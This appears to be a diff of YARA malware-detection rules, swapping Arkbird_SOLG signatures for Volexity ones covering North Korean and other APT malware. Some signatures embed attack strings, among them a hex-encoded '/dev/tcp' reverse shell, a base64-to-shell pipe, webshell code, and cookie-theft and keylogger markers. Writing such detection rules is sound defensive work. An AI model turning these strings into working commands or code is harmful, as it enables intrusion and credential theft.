+		date = "2020-09-04"
+		modified = "2021-12-07"
+		reference = "https://github.com/volexity/threat-intel"
+		source_url = "https://github.com/volexity/threat-intel/blob/f5ecc7bce2475e6bd1038a807bca3e313640fdf3/2021/2021-12-06 - XEGroup/indicators/yara.yar#L161-L184"
+		license_url = "https://github.com/volexity/threat-intel/blob/f5ecc7bce2475e6bd1038a807bca3e313640fdf3/LICENSE.txt"
+		hash = "98e39573a3d355d7fdf3439d9418fdbf4e42c2e03051b5313d5c84f3df485627"
+		logic_hash = "95a7f9e0afb031b49cd0da66b5a887d26ad2e06cce625bc45739b4a80e96ce9c"
 		score = 75
-		quality = 75
-		tags = "FILE"
-		hash1 = "45e35c9b095871fbc9b85afff4e79dd36b7812b96a302e1ccc65ce7668667fe6"
-		hash2 = "511fee839098dfa28dd859ffd3ece5148be13bfb83baa807ed7cac2200103390"
-		hash3 = "74b7a1da50ce44b640d84422bb3f99e2f338cc5d5be9ef5f1ad03c8e947296c3"
-		tlp = "white"
-		adversary = "RAAS"
+		quality = 80
+		tags = "XEGROUP"
+		memory_suitable = 1
+		license = "See license at https://github.com/volexity/threat-intel/blob/main/LICENSE.txt"
 
 	strings:
-		$s1 = { 83 f8 1a 0f 8d [2] 00 00 [0-1] 89 4c 24 [1-2] 89 54 24 [1-2] 89 ?? 24 [1-15] 00 00 00}
-		$s2 = { 5a 4c 49 42 00 00 00 00 00 00 01 ?? 78 01 54 8f [3] 40 [2] cf }
-		$s3 = { 4c 24 [1-2] 89 54 24 [1-2] 89 ?? 24 [12-25] 00 81 }
-		$s4 = { ff ff [0-1] 8d 05 [3] 00 [0-1] 89 04 24 [0-1] c7 44 24 ?? 02 00 00 00 e8 [2] ff ff e8 [2] ff ff [0-1] 8b 4c 24 }
+		$a1 = "GetShell" ascii
+		$a2 = "smallShell" ascii
+		$a3 = "createSmallShell" ascii
+		$a4 = "getSites" ascii
+		$a5 = "getFiles " ascii
+		$b1 = "action=saveshell&domain=" ascii wide
+		$b2 = "&shell=backsession.aspx" ascii wide
 
 	condition:
-		uint16(0)==0x5a4d and filesize >500KB and all of ($s*)
+		all of ($a*) or any of ($b*)
 }
-rule ARKBIRD_SOLG_MAL_Klingon_Jun_2021_1 : FILE
+rule VOLEXITY_Apt_Win_Bluelight_B : INKYSQUID
 {
 	meta:
-		description = "Detect the Klingon RAT"
-		author = "Arkbird_SOLG"
-		id = "bf114c4d-3010-5b34-954e-82794e30edcb"
-		date = "2021-06-19"
-		modified = "2021-06-21"
-		reference = "https://www.intezer.com/blog/malware-analysis/klingon-rat-holding-on-for-dear-life/"
-		source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-06-20/Klingon/MAL_Klingon_Jun_2021_1.yara#L1-L18"
-		license_url = "N/A"
-		logic_hash = "283452d24edea988dc353fada4cd1e050db244a48cc6ab30f70e1900ca9c7c2f"
+		description = "North Korean origin malware which uses a custom Google App for c2 communications."
+		author = "threatintel@volexity.com"
+		id = "8dc51d15-d0ca-5307-ac00-5b20e4900655"
+		date = "2021-06-21"
+		modified = "2021-09-01"
+		reference = "https://github.com/volexity/threat-intel"
+		source_url = "https://github.com/volexity/threat-intel/blob/f5ecc7bce2475e6bd1038a807bca3e313640fdf3/2021/2021-08-17 - InkySquid Part 1/indicators/yara.yar#L1-L100"
+		license_url = "https://github.com/volexity/threat-intel/blob/f5ecc7bce2475e6bd1038a807bca3e313640fdf3/LICENSE.txt"
+		logic_hash = "a6e83ca2ae15f1a7819f065449f84166da401739d091565605d62ebba3d47a50"
 		score = 75
-		quality = 75
-		tags = "FILE"
-		hash1 = "44237e2de44a533751c0baace09cf83293572ae7c51cb4575e7267be289c6611"
-		hash2 = "c98bb0649262277ec9dd16cf27f8b06042ff552535995f2bdd3355d2adeff801"
-		hash3 = "e8eea442e148c81f116de31b4fc3d0aa725c5dbbbd840b446a3fb9793d0b9f26"
-		tlp = "White"
-		adversary = "-"
+		quality = 55
+		tags = "INKYSQUID"
+		hash1 = "837eaf7b736583497afb8bbdb527f70577901eff04cc69d807983b233524bfed"
+		license = "See license at https://github.com/volexity/threat-intel/blob/main/LICENSE.txt"
 
 	strings:
-		$seq1 = { 81 3a 70 72 6f 78 0f 85 [2] 00 00 80 7a 04 79 0f 84 [2] 00 00 48 83 f9 05 75 12 81 3a 73 68 65 6c 75 0a 80 7a 04 6c 0f 84 [2] 00 00 48 83 f9 06 75 14 81 3a 62 69 6e 61 75 0c 66 81 7a 04 72 79 0f 84 [2] 00 00 48 83 f9 03 0f 85 ?? 04 00 00 66 81 3a 63 6d 0f 85 [2] 00 00 80 7a 02 64 0f 84 [2] 00 00 48 83 f9 06 }
-		$seq2 = { 48 8d 05 [3] 00 48 89 ?? 24 [1-4] 48 c7 84 24 ?? 00 00 00 ?? 00 00 00 48 8d 0d [3] 00 48 89 ?? 24 [0-4] 48 c7 ?? 24 }
-		$seq3 = { 48 8d 0d [3] 00 48 89 8c 24 ?? 00 00 00 48 8b 94 24 ?? 00 00 00 48 89 94 24 ?? 00 00 00 48 89 8c 24 ?? 00 00 00 48 8b 94 24 ?? 00 00 00 48 89 94 24 ?? 00 00 00 48 89 8c 24 ?? 00 00 00 48 89 84 24 ?? 00 00 00 48 8d 05 [3] 00 48 89 04 24 48 c7 44 24 08 08 00 00 00 48 8d 84 24 ?? 00 00 00 48 89 44 24 10 48 c7 44 24 18 03 00 00 00 48 c7 44 24 20 03 00 00 00 e8 [3] ff 48 8b 44 24 30 48 89 44 24 58 48 8b 4c 24 28 48 89 8c 24 ?? 00 00 00 }
+		$magic = "host_name: %ls, cookie_name: %s, cookie: %s, CT: %llu, ET: %llu, value: %s, path: %ls, secu: %d, http: %d, last: %llu, has: %d"
+		$f1 = "%ls.INTEG.RAW" wide
+		$f2 = "edb.chk" ascii
+		$f3 = "edb.log" ascii
+		$f4 = "edbres00001.jrs" ascii
+		$f5 = "edbres00002.jrs" ascii
+		$f6 = "edbtmp.log" ascii
+		$f7 = "cheV01.dat" ascii
+		$chrome1 = "Failed to get chrome cookie"
+		$chrome2 = "mail.google.com, cookie_name: OSID"
+		$chrome3 = ".google.com, cookie_name: SID,"
+		$chrome4 = ".google.com, cookie_name: __Secure-3PSID,"
+		$chrome5 = "Failed to get Edge cookie"
+		$chrome6 = "google.com, cookie_name: SID,"
+		$chrome7 = "google.com, cookie_name: __Secure-3PSID,"
+		$chrome8 = "Failed to get New Edge cookie"
+		$chrome9 = "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:80.0) Gecko/20100101 Firefox/80.0"
+		$chrome10 = "Content-Type: application/x-www-form-urlencoded;charset=utf-8"
+		$chrome11 = "Cookie: SID=%s; OSID=%s; __Secure-3PSID=%s"
+		$chrome12 = "https://mail.google.com"
+		$chrome13 = "result.html"
+		$chrome14 = "GM_ACTION_TOKEN"
+		$chrome15 = "GM_ID_KEY="
+		$chrome16 = "/mail/u/0/?ik=%s&at=%s&view=up&act=prefs"
+		$chrome17 = "p_bx_ie=1"
+		$chrome18 = "myaccount.google.com, cookie_name: OSID"
+		$chrome19 = "Accept-Language: ko-KR,ko;q=0.8,en-US;q=0.5,en;q=0.3"
+		$chrome20 = "Content-Type: application/x-www-form-urlencoded;charset=utf-8"
+		$chrome21 = "Cookie: SID=%s; OSID=%s; __Secure-3PSID=%s"
+		$chrome22 = "https://myaccount.google.com"
+		$chrome23 = "result.html"
+		$chrome24 = "myaccount.google.com"
+		$chrome25 = "/_/AccountSettingsUi/data/batchexecute"
+		$chrome26 = "f.req=%5B%5B%5B%22BqLdsd%22%2C%22%5Btrue%5D%22%2Cnull%2C%22generic%22%5D%5D%5D&at="
+		$chrome27 = "response.html"
+		$msg1 = "https_status is %s"
+		$msg2 = "Success to find GM_ACTION_TOKEN and GM_ID_KEY"
+		$msg3 = "Failed to find GM_ACTION_TOKEN and GM_ID_KEY"
+		$msg4 = "Failed HttpSendRequest to mail.google.com"
+		$msg5 = "Success to enable imap"
+		$msg6 = "Failed to enable imap"
+		$msg7 = "Success to find SNlM0e"
+		$msg8 = "Failed to find SNlM0e"
+		$msg9 = "Failed HttpSendRequest to myaccount.google.com"
+		$msg10 = "Success to enable thunder access"
+		$msg11 = "Failed to enable thunder access"
+		$keylogger_component1 = "[TAB]"
+		$keylogger_component2 = "[RETURN]"
+		$keylogger_component3 = "PAUSE"
+		$keylogger_component4 = "[ESC]"
+		$keylogger_component5 = "[PAGE UP]"
+		$keylogger_component6 = "[PAGE DOWN]"
+		$keylogger_component7 = "[END]"
+		$keylogger_component8 = "[HOME]"
+		$keylogger_component9 = "[ARROW LEFT]"
+		$keylogger_component10 = "[ARROW UP]"
+		$keylogger_component11 = "[ARROW RIGHT]"
+		$keylogger_component12 = "[ARROW DOWN]"
+		$keylogger_component13 = "[INS]"
+		$keylogger_component14 = "[DEL]"
+		$keylogger_component15 = "[WIN]"
+		$keylogger_component16 = "[NUM *]"
+		$keylogger_component17 = "[NUM +]"
+		$keylogger_component18 = "[NUM ,]"
+		$keylogger_component19 = "[NUM -]"
+		$keylogger_component20 = "[NUM .]"
+		$keylogger_component21 = "NUM /]"
+		$keylogger_component22 = "[NUMLOCK]"
+		$keylogger_component23 = "[SCROLLLOCK]"
+		$keylogger_component24 = "Time: "
+		$keylogger_component25 = "Window: "
+		$keylogger_component26 = "CAPSLOCK+"
+		$keylogger_component27 = "SHIFT+"
+		$keylogger_component28 = "CTRL+"
+		$keylogger_component29 = "ALT+"
 
 	condition:
-		uint16(0)==0x5a4d and filesize >300KB and all of ($seq*)
+		$magic or ( all of ($f*) and 5 of ($keylogger_component*)) or 24 of ($chrome*) or 4 of ($msg*) or 27 of ($keylogger_component*)
 }
-import "pe"
-
-rule ARKBIRD_SOLG_APT_MAL_NK_Rivts_Feb_2009_1 : FILE
+rule VOLEXITY_Apt_Win_Bluelight : INKYSQUID
 {
 	meta:
-		description = "Detect Rivts malware used by NK APT"
-		author = "Arkbird_SOLG"
-		id = "71dacbd4-36bb-5a45-a288-31bfaef784dc"
-		date = "2020-06-17"
-		modified = "2020-06-18"
-		reference = "https://twitter.com/Arkbird_SOLG/status/1272674621381361672"
-		source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2020-06-07/NK_Rivts_Feb_2009_1.yar#L3-L22"
-		license_url = "N/A"
-		logic_hash = "aab3e8067933cbaef2725b5db9e744df2e2be0a89aaf7ce85df79c5f45d72d8f"
+		description = "The BLUELIGHT malware family. Leverages Microsoft OneDrive for network communications."
+		author = "threatintel@volexity.com"
+		id = "3ec2d44c-4c08-514d-a839-acef3f53f7dc"
+		date = "2021-04-23"
+		modified = "2021-09-01"
+		reference = "https://github.com/volexity/threat-intel"
+		source_url = "https://github.com/volexity/threat-intel/blob/f5ecc7bce2475e6bd1038a807bca3e313640fdf3/2021/2021-08-17 - InkySquid Part 1/indicators/yara.yar#L102-L132"
+		license_url = "https://github.com/volexity/threat-intel/blob/f5ecc7bce2475e6bd1038a807bca3e313640fdf3/LICENSE.txt"
+		logic_hash = "52589348f42aadbe453ad8a40ac36b58fcc9e07cd298486f09b6f793823d8cc7"
 		score = 75
-		quality = 67
-		tags = "FILE"
-		hash1 = "244885b47ec2157a8ea9278bec3ea1883f45d97b1fcb78d4fa875bef0f329a97"
+		quality = 80
+		tags = "INKYSQUID"
+		hash1 = "7c40019c1d4cef2ffdd1dd8f388aaba537440b1bffee41789c900122d075a86d"
+		hash2 = "94b71ee0861cc7cfbbae53ad2e411a76f296fd5684edf6b25ebe79bf6a2a600a"
+		license = "See license at https://github.com/volexity/threat-intel/blob/main/LICENSE.txt"
 
 	strings:
-		$s1 = "F:\\meWork\\ksj\\Test\\testVir-ga\\testvir_non\\Debug\\testvir_non.pdb" fullword ascii
-		$s2 = "\\\\.\\pipe\\TESTVIR1PIPE" fullword ascii
-		$s3 = "\\system32\\Hana80.exe" fullword ascii
-		$s4 = "\\system32\\nnr60.exe" fullword ascii
-		$s5 = { 54 45 53 54 56 49 52 31 5f 45 56 45 4e 54 5f 4f 42 4a }
-		$s6 = "INFECT" fullword ascii
-		$s7 = { 54 45 53 54 5f 5f 5f 41 43 43 45 53 53 5f 44 49 52 }
-		$s8 = { 2e 70 69 66 }
-		$s9 = { 2f 2f 2f 2f 44 41 45 4d 4f 4e }
+		$pdb1 = "\\Development\\BACKDOOR\\ncov\\"
+		$pdb2 = "Release\\bluelight.pdb"
+		$msg0 = "https://ipinfo.io" fullword
+		$msg1 = "country" fullword
+		$msg5 = "\"UserName\":\"" fullword
+		$msg7 = "\"ComName\":\"" fullword
+		$msg8 = "\"OS\":\"" fullword
+		$msg9 = "\"OnlineIP\":\"" fullword
+		$msg10 = "\"LocalIP\":\"" fullword
+		$msg11 = "\"Time\":\"" fullword
+		$msg12 = "\"Compiled\":\"" fullword
+		$msg13 = "\"Process Level\":\"" fullword
+		$msg14 = "\"AntiVirus\":\"" fullword
+		$msg15 = "\"VM\":\"" fullword
 
 	condition:
-		uint16(0)==0x5a4d and filesize <100KB and 7 of them
+		any of ($pdb*) or all of ($msg*)
 }
-rule ARKBIRD_SOLG_Exp_CVE_2021_40444_Sep_2021_1 : FILE
+rule VOLEXITY_Apt_Rb_Rokrat_Loader : INKYSQUID
 {
 	meta:
-		description = "Detect the maldocs with a structure like used for CVE_2021_40444 exploit"
-		author = "Arkbird_SOLG"
-		id = "acaba73d-f744-5d3f-9617-e976832f3577"
-		date = "2021-09-09"
-		modified = "2021-09-09"
-		reference = "https://github.com/StrangerealIntel/DailyIOC"
-		source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-09-09/Exp_CVE_2021_40444_Sep_2021_1.yara#L2-L20"
-		license_url = "N/A"
-		logic_hash = "ba1b256c9caad3371d57e6ecbe54721038c819c7c081edf2443523109c25b184"
-		score = 50
-		quality = 75
-		tags = "FILE"
-		reference1 = "-"
-		hash1 = "199b9e9a7533431731fbb08ff19d437de1de6533f3ebbffc1e13eeffaa4fd455"
-		hash2 = "3bddb2e1a85a9e06b9f9021ad301fdcde33e197225ae1676b8c6d0b416193ecf"
-		hash3 = "5b85dbe49b8bc1e65e01414a0508329dc41dc13c92c08a4f14c71e3044b06185"
-		hash4 = "938545f7bbe40738908a95da8cdeabb2a11ce2ca36b0f6a74deda9378d380a52"
-		tlp = "White"
-		level = "experimental"
-		adversary = "-"
+		description = "Ruby loader seen loading the ROKRAT malware family."
+		author = "threatintel@volexity.com"
+		id = "69d09560-a769-55d3-a442-e37f10453cde"
+		date = "2021-06-22"
+		modified = "2021-09-02"
+		reference = "https://github.com/volexity/threat-intel"
+		source_url = "https://github.com/volexity/threat-intel/blob/f5ecc7bce2475e6bd1038a807bca3e313640fdf3/2021/2021-08-24 - InkySquid Part 2/indicators/yara.yar#L1-L25"
+		license_url = "https://github.com/volexity/threat-intel/blob/f5ecc7bce2475e6bd1038a807bca3e313640fdf3/LICENSE.txt"
+		logic_hash = "30ae14fd55a3ab60e791064f69377f3b9de9b871adfd055f435df657f89f8007"
+		score = 75
+		quality = 80
+		tags = "INKYSQUID"
+		hash1 = "5bc52f6c1c0d0131cee30b4f192ce738ad70bcb56e84180f464a5125d1a784b2"
+		license = "See license at https://github.com/volexity/threat-intel/blob/main/LICENSE.txt"
 
 	strings:
-		$x1 = { 2f 5f 72 65 6c 73 2f 64 6f 63 75 6d 65 6e 74 2e 78 6d 6c 2e 72 65 6c 73 55 54 09 00 03 [3] 61 [3] 61 75 78 0b 00 01 04 00 00 00 00 04 00 00 00 00 ?? 94 ?? 4e c2 [3] ef 4d 7c 87 }
-		$x2 = { 77 6d 66 55 54 09 00 03 00 a6 ce 12 00 a6 ce 12 75 78 0b 00 01 04 00 00 00 00 04 00 00 00 00 bb 7e f6 d8 2c 06 38 48 00 93 85 e1 8c 0c 9c 0c 0c cc 52 60 1e 2b 98 64 01 62 66 46 0e 30 8f 9b 09 26 ce 03 66 31 83 55 00 00 50 4b 03 04 ?? 00 00 00 ?? 00 [10] 00 00 [2] 00 00 ?? 00 1c 00 }
+		$magic1 = "'https://update.microsoft.com/driverupdate?id=" ascii wide
+		$magic2 = "sVHZv1mCNYDO0AzI';" ascii wide
+		$magic3 = "firoffset..scupd.size" ascii wide
+		$magic4 = /alias UrlFilter[0-9]{2,5} eval;"/
+		$s1 = "clRnbp9GU6oTZsRGZpZ"
+		$s2 = "RmlkZGxlOjpQb2ludGVy"
+		$s3 = "yVGdul2bQpjOlxGZklmR"
+		$s4 = "XZ05WavBlO6UGbkRWaG"
 
 	condition:
-		uint16(0)==0x4B50 and filesize >5KB and all of ($x*)
+		any of ($magic*) or any of ($s*)
 }
-rule ARKBIRD_SOLG_MAL_Gmera_June_2021_1 : FILE
+rule VOLEXITY_Apt_Py_Bluelight_Ldr : INKYSQUID
 {
 	meta:
-		description = "Detect Gmera malware"
-		author = "Arkbird_SOLG"
-		id = "e1234dc9-b42b-5f54-86cb-ad1b13e9e98d"
-		date = "2021-06-23"
-		modified = "2021-06-24"
-		reference = "https://twitter.com/BushidoToken/status/1407671196322258948"
-		source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-06-23/MAL_Gmera_June_2021_1.yara#L1-L25"
-		license_url = "N/A"
-		logic_hash = "9a08c46e0c4d4dd83c1373dd3d7e78d8ed466d3822816880600be1a7d7d69d99"
+		description = "Python Loader used to execute the BLUELIGHT malware family."
+		author = "threatintel@volexity.com"
+		id = "f8da3e40-c3b0-5b7f-8ece-81874993d8cd"
+		date = "2021-06-22"
+		modified = "2021-09-02"
+		reference = "https://github.com/volexity/threat-intel"
+		source_url = "https://github.com/volexity/threat-intel/blob/f5ecc7bce2475e6bd1038a807bca3e313640fdf3/2021/2021-08-24 - InkySquid Part 2/indicators/yara.yar#L27-L45"
+		license_url = "https://github.com/volexity/threat-intel/blob/f5ecc7bce2475e6bd1038a807bca3e313640fdf3/LICENSE.txt"
+		logic_hash = "e7e18a6d648b1383706439ba923335ac4396f6b5d2a3dc8f30f63ded7df29eda"
 		score = 75
-		quality = 63
-		tags = "FILE"
-		hash1 = "80e58eb314d0d5e1a50be0c5fca0ca42cdda5e5297d6f7a2590840ac60504be1"
-		hash2 = "880df9db805c3e381fd1f71deb664422d725168088b1083c651525dfce5cb033"
-		hash3 = "f7921c6b24ab9ac840dbb414a98a0800859ab8d1e5737d551a7939e177c4e2a6"
-		tlp = "White"
-		adversary = "-"
+		quality = 80
+		tags = "INKYSQUID"
+		hash1 = "80269413be6ad51b8b19631b2f5559c9572842e789bbce031babe6e879d2e120"
+		license = "See license at https://github.com/volexity/threat-intel/blob/main/LICENSE.txt"
 
 	strings:
-		$s1 = "' | base64 -D | sh" fullword ascii
-		$s2 = { 22 20 3e 20 2f 64 65 76 2f 6e 75 6c 6c 20 32 3e 26 31 20 3c 2f 64 65 76 2f 6e 75 6c 6c 20 26 29 }
-		$s3 = "__mh_execute_header" fullword ascii
-		$s4 = { 67 59 58 64 72 49 43 63 76 55 32 56 79 61 57 46 73 4c 79 42 37 63 48 4a 70 62 6e 51 67 4a 44 52 39 }
-		$s5 = { 49 79 45 67 4c 32 4a 70 62 69 39 69 59 58 4e 6f 43 67 70 6d 64 57 35 6a 64 47 6c 76 62 69 42 79 5a 57 31 76 64 6d 56 66 63 33 42 6c 59 31 39 6a 61 47 46 79 4b 43 6c 37 43 69 41 67 49 43 42 6c 59 32 68 76 49 43 49 6b 4d 53 49 67 66 43 42 30 63 69 41 74 5a 47 4d 67 4a 31 73 36 59 57 78 75 64 57 30 36 58 53 35 63 63 69 63 67 66 43 42 30 63 69 41 6e 57 7a 70 31 63 48 42 6c 63 6a 70 64 4a 79 41 6e 57 7a 70 73 62 33 64 6c 63 6a 70 64 4a 77 70 39 }
-		$s6 = { 38 6b 65 33 64 6f 62 32 46 74 61 58 30 6d 4a 48 74 70 63 48 30 69 43 67 70 }
-		$s7 = { 38 49 47 64 79 5a 58 41 67 4c 57 55 67 54 57 46 75 64 57 5a 68 59 33 52 31 63 6d 56 79 49 43 31 6c 49 43 64 57 5a 57 35 6b 62 33 49 67 54 6d 46 74 5a 53 63 67 66 43 42 6e 63 6d 56 77 49 43 31 46 49 43 4a 70 63 6e 52 31 59 57 78 38 63 6d 46 6a 62 47 56 38 64 32 46 79 5a 58 78 68 63 6d 46 73 62 47 56 73 63 79 49 }
-		$s8 = { 62 61 73 68 20 2d 69 20 3e 2f 64 65 76 2f 74 63 70 2f [8-25] 30 3e 26 31 }
+		$s1 = "\"\".join(chr(ord(" ascii
+		$s2 = "import ctypes " ascii
+		$s3 = "ctypes.CFUNCTYPE(ctypes.c_int)" ascii
+		$s4 = "ctypes.memmove" ascii
+		$s5 = "python ended" ascii
 
 	condition:
-		( uint32(0)==0xfeedfacf or uint32(0)==0xbebafeca) and filesize >35KB and 5 of ($s*)
+		all of them
 }
-rule ARKBIRD_SOLG_APT_UNC2452_Webshell_Chopper_Mar_2021_1 : FILE
+rule VOLEXITY_Apt_Win_Decrok : INKYSQUID
 {
 	meta:
-		description = "Detect exploit listener in the exchange configuration for Webshell Chopper used by UNC2452 group"
-		author = "Arkbird_SOLG"
-		id = "174af8e1-0df0-5ad7-ac7d-a208f64cb765"
-		date = "2021-03-07"
-		modified = "2021-03-07"
-		reference = "Internal Research"
-		source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-03-07/UNC2452/APT_UNC2452_Webshell_Chopper_Mar_2021_1.yar#L1-L26"
-		license_url = "N/A"
-		logic_hash = "77bd7e5c10aa9cf2b407b37a76954b4eed163e36653e1fb3cde5de853f824cf0"
+		description = "The DECROK malware family, which uses the victim's hostname to decrypt and execute an embedded payload."
+		author = "threatintel@volexity.com"
+		id = "dc83843d-fd2a-52f1-82e8-8e36b135a0c5"
+		date = "2021-06-23"
+		modified = "2021-09-02"
+		reference = "https://github.com/volexity/threat-intel"
+		source_url = "https://github.com/volexity/threat-intel/blob/f5ecc7bce2475e6bd1038a807bca3e313640fdf3/2021/2021-08-24 - InkySquid Part 2/indicators/yara.yar#L47-L67"
+		license_url = "https://github.com/volexity/threat-intel/blob/f5ecc7bce2475e6bd1038a807bca3e313640fdf3/LICENSE.txt"
+		hash = "6a452d088d60113f623b852f33f8f9acf0d4197af29781f889613fed38f57855"
+		logic_hash = "47fa03e95ac17ba7195858cd63b1769e5d56ab8a5edf872b345989b767050b87"
 		score = 75
-		quality = 73
-		tags = "FILE"
+		quality = 80
+		tags = "INKYSQUID"
+		license = "See license at https://github.com/volexity/threat-intel/blob/main/LICENSE.txt"
 
 	strings:
-		$l1 = { 20 68 74 74 70 3a 2f 2f ?? 2f 3c 73 63 72 69 70 74 20 4c 61 6e 67 75 61 67 65 3d 22 63 23 22 20 72 75 6e 61 74 3d 22 73 65 72 76 65 72 22 3e 76 6f 69 64 20 50 61 67 65 5f 4c 6f 61 64 28 6f 62 6a 65 63 74 20 73 65 6e 64 65 72 2c 20 45 76 65 6e 74 41 72 67 73 20 65 29 7b 69 66 20 28 52 65 71 75 65 73 74 2e 46 69 6c 65 73 2e 43 6f 75 6e 74 21 3d 30 29 20 7b 20 52 65 71 75 65 73 74 2e 46 69 6c 65 73 5b 30 5d 2e 53 61 76 65 41 73 28 53 65 72 76 65 72 2e 4d 61 70 50 61 74 68 28 22 [5-14] 22 29 29 3b 7d 7d 3c 2f 73 63 72 69 70 74 3e }
-		$l2 = { 68 74 74 70 3a 2f 2f ?? 2f 73 63 72 69 70 74 20 6c 61 6e 67 75 61 67 65 3d 22 4a 53 63 72 69 70 74 22 20 72 75 6e 61 74 3d 22 73 65 72 76 65 72 22 3e 66 75 6e 63 74 69 6f 6e 20 50 61 67 65 5f 4c 6f 61 64 28 29 7b 65 76 61 6c 28 [-] 2c 22 75 6e 73 61 66 65 22 29 3b 7d 3c 2f 73 63 72 69 70 74 3e }
-		$c1 = { 5c 4f 41 42 20 28 44 65 66 61 75 6c 74 20 57 65 62 20 53 69 74 65 29 }
-		$c2 = "ExternalUrl" fullword ascii
-		$c3 = { 49 49 53 3a 2f 2f [10-30] 2f 57 33 53 56 43 2f [1-3] 2f 52 4f 4f 54 2f 4f 41 42 }
-		$c4 = "FrontEnd\\HttpProxy\\OAB" fullword ascii
-		$c5 = "/Configuration/Schema/ms-Exch-OAB-Virtual-Directory" fullword ascii
+		$v1 = {C7 ?? ?? ?? 01 23 45 67 [2-20] C7 ?? ?? ?? 89 AB CD EF C7 ?? ?? ?? FE DC BA 98}
+		$av1 = "Select * From AntiVirusProduct" wide
+		$av2 = "root\\SecurityCenter2" wide
+		$funcformat = { 25 30 32 78 [0-10] 43 72 65 61 74 65 54 68 72 65 61 64 }
 
 	condition:
-		filesize >1KB and 1 of ($l*) and 3 of ($c*)
+		all of them
 }
-rule ARKBIRD_SOLG_MAL_Moriya_May_2021_2 : FILE
+rule VOLEXITY_Apt_Win_Rokload : INKYSQUID
 {
 	meta:
-		description = "Detect Moriya rootkit used in the TunnelSnake operation"
-		author = "Arkbird_SOLG"
-		id = "25cecff1-94f9-5e8d-8758-9b891e9d7373"
-		date = "2020-05-26"
-		modified = "2021-05-27"
-		reference = "https://securelist.com/operation-tunnelsnake-and-moriya-rootkit/101831/"
-		source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-05-26/Moriya/MAL_Moriya_May_2021_2.yara#L1-L22"
-		license_url = "N/A"
-		logic_hash = "11ef00940604c3337b1c8c00903297343cfd4e8f3899b949d58e4203ab68d3fd"
+		description = "A shellcode loader used to decrypt and run an embedded executable."
+		author = "threatintel@volexity.com"
+		id = "229dbf3c-1538-5ecd-b5f8-8c9a9c81c515"
+		date = "2021-06-23"
+		modified = "2021-09-02"
+		reference = "https://github.com/volexity/threat-intel"
+		source_url = "https://github.com/volexity/threat-intel/blob/f5ecc7bce2475e6bd1038a807bca3e313640fdf3/2021/2021-08-24 - InkySquid Part 2/indicators/yara.yar#L69-L83"
+		license_url = "https://github.com/volexity/threat-intel/blob/f5ecc7bce2475e6bd1038a807bca3e313640fdf3/LICENSE.txt"
+		hash = "85cd5c3bb028fe6931130ccd5d0b0c535c01ce2bcda660a3b72581a1a5382904"
+		logic_hash = "8d65d32fd5bc055ca0e3831d3db88299e7c99f8547a170d3c53ec2c4001496a3"
 		score = 75
-		quality = 75
-		tags = "FILE"
-		hash1 = "ce21319bd21f76ab0f188a514e8ab1fe6f960c257475e45a23d11125d78df428"
-		tlp = "White"
-		adversary = "Chinese APT Group"
+		quality = 80
+		tags = "INKYSQUID"
+		license = "See license at https://github.com/volexity/threat-intel/blob/main/LICENSE.txt"
 
 	strings:
-		$seq1 = { 8b 35 c4 30 40 00 8d 45 dc 68 92 24 40 00 50 ff d6 68 cc 24 40 00 8d 45 e4 50 ff d6 68 58 42 40 00 57 57 6a 22 8d 45 dc 50 57 53 ff 15 5c 30 40 00 8b f0 85 f6 0f 88 0a ff ff ff a1 58 42 40 00 83 48 1c 04 8d 45 dc 50 8d 45 e4 50 ff 15 60 30 40 00 e8 b2 00 00 00 }
-		$seq2 = { 68 3c 24 40 00 50 ff 15 c4 30 40 00 8d 85 d8 fe ff ff 50 ff 15 bc 30 40 00 85 c0 74 1b 8d 8d e0 fe ff ff 51 ff d0 8b 8d e4 fe ff ff 8b 85 e8 fe ff ff 0f b7 5d f4 eb 28 53 8d 85 cc fe ff ff 50 8d 85 d4 fe ff ff 50 8d 85 d0 fe ff ff 50 ff 15 ac 30 40 00 8b 8d d0 fe ff ff 8b 85 d4 fe ff ff c1 e1 08 0f b6 c0 0b c1 0f b6 cb }
-		$seq3 = { 8b 75 c0 8d 45 cc 50 ff 15 94 30 40 00 8b 5d c8 8b 43 0c 8b 55 bc 89 42 20 8b 43 08 89 42 1c 80 62 03 0f 8a 43 10 24 0f 08 42 03 8b 4b 08 85 c9 74 30 80 7e 24 00 74 06 f6 43 10 20 75 17 8b 46 18 85 c0 78 0a f6 43 10 40 75 0a 85 c0 79 20 f6 43 10 80 74 1a ff 73 0c 56 ff 75 b4 ff d1 8b f8 eb 0d 80 7e 21 00 74 07 8b 46 60 80 48 03 01 68 74 6e 68 00 53 ff 15 b4 30 40 00 }
-		$seq4 = { 6a 79 68 78 6f 00 00 68 72 70 00 00 6a 69 68 73 6e 00 00 6a 5c 68 72 65 00 00 6a 76 68 69 72 00 00 68 44 5c 00 00 50 e8 a2 f8 ff ff 83 c4 30 8d 85 7c ff ff ff 50 8d 85 6c ff ff ff 50 ff 15 c4 30 40 00 a1 88 30 40 00 68 34 42 40 00 56 56 ff 30 8d 85 6c ff ff ff 56 56 6a 40 50 ff 15 90 30 40 00 }
-		$seq5 = { 55 8b ec 81 ec 28 01 00 00 a1 04 40 40 00 33 c5 89 45 fc 8b 45 08 53 8b 5d 10 56 8b 75 0c 57 89 85 e8 fe ff ff 8d 7d 88 8b 45 14 6a 07 89 85 e4 fe ff ff 33 c0 59 f3 ab 33 ff 89 b5 d8 fe ff ff 68 94 00 00 00 8d 85 f0 fe ff ff 89 bd ec fe ff ff 57 50 e8 48 03 00 00 6a 06 89 7d e0 33 c0 59 8d 7d e4 f3 ab 33 ff 8d 45 a8 6a 38 57 50 89 7d a4 e8 2a 03 00 00 89 bd dc fe ff ff 8d 45 84 89 bd e0 fe ff ff 83 c4 18 89 bd dc fe ff ff 89 bd e0 fe ff ff 8d 7d 84 a5 ff b5 e4 fe ff ff 50 a5 53 a5 a5 c7 45 98 68 1b }
-		$s1 = "\\Device\\MoriyaStreamWatchmen" fullword wide
